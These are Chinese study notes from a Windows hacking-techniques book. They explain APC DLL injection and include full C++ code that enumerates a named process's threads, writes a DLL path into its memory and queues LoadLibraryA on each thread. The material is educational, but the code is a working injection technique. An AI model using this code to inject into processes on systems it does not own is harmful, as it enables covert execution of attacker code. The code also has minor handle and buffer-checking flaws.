本人学习《Windows黑客编程技术详解》所做的学习笔记
- 简介:APC为异步调用,指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制,用于异步IO,或者定时器。
- 大致思路:每一个进程中都有一个APC队列,每当要执行一个函数时,就利用QueueUserAPC函数把一个APC函数压入队列中,当函数要被执行时,我们将函数以先进先出的形式执行函数,此时我们便可以把我们要注入的dll给放入队列中
- 同步调用:像普通程序一样,需要按序进行,下一条代码必须要等上一条代码执行后,才能运行。
- 异步调用:无需等待,直接执行。
1,进程遍历
我们选择注入的进程,与远线程注入不同的是,我们选择他已经有的线程进行注入,为了保证能被进程有效调用,我们选择遍历进程中的所有进程并且全部注入我们的dll。
1,CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 获得系统进程快照句柄
HANDLE_WINAPI CreateToolHelp32Snapshot(
DWORD dwFlags, //获取的类型
DWORD th32ProcessID //指向要获取的进程快照,全部为0
);
TH32CS_SNAPHEAPLIST:表示快照信息包含特定进程的堆栈列表
TH32CS_SNAPMODULE :表示快照信息包含特定进程的使用模块的列表
TH32CS_SNAPPROCESS:表示快照信息包含系统的所有进程的列表
TH32CS_SNAPTHREAD :表示快照信息包含系统所有线程的列表
2,Process32First(hSnapshot, &pe32) 获取第一个进程的快照信息
Process32Next(hSnapshot, &pe32) 获取下一个进程的快照信息
Thread32First(hSnapshot, &te32) 获得第一个线程的快照信息
Thread32Next(hSnapshot, &te32) 获取下一个线程的快照信息
BOOL WINAPI Process32First(
HANDLE hSnapshot, // 系统进程的句柄
LPPROCESSENTRY32/THREADENTRY32 lppe // 进程/线程 快照的结构体
);
3,RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD))) 用0填充一块内存
void ZeroMemory(
PVOID Destination, //地址
SIZE_T Length //填0的长度
);
完成代码
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(const char *pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD **ppThreadId, DWORD *pdwThreadIdLength)
{
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
2,APC注入
完成上面简单的遍历,终于可以进入我们的正题了,APC注入!!
APC注入原理
在windows中,每个线程都会维护一个线程APC队列,通过QueueUserAPC把函数添加到指定线程APC队列中,当要执行函数时,Windows系统会发送一个软中断去执行函数,而用户模式下的APC队列,则需要线程处于可警告状态才能运行,一个线程在内部使用SignalObjectAndWait,SleepEx,WaitForSingleObjectEx,WaitForMulitpleObjectsEx等函数将用户的线程挂起变为可警告状态,则可以进行注入。
1,QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress) 将函数压入队列中
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, //执行的函数
HANDLE hThread, //线程
ULONG_PTR dwData //函数参数
);
完成代码
// APC注入
BOOL ApcInjectDll(const char *pszProcessName)
{
char szDllPath[MAX_PATH] = { 0 };
GetCurrentDirectoryA(MAX_PATH, szDllPath);
strcat_s(szDllPath, "\\InjectDll.dll");
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
FARPROC pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = (strlen(szDllPath) + 1);
DWORD i = 0;
do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, szDllPath, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}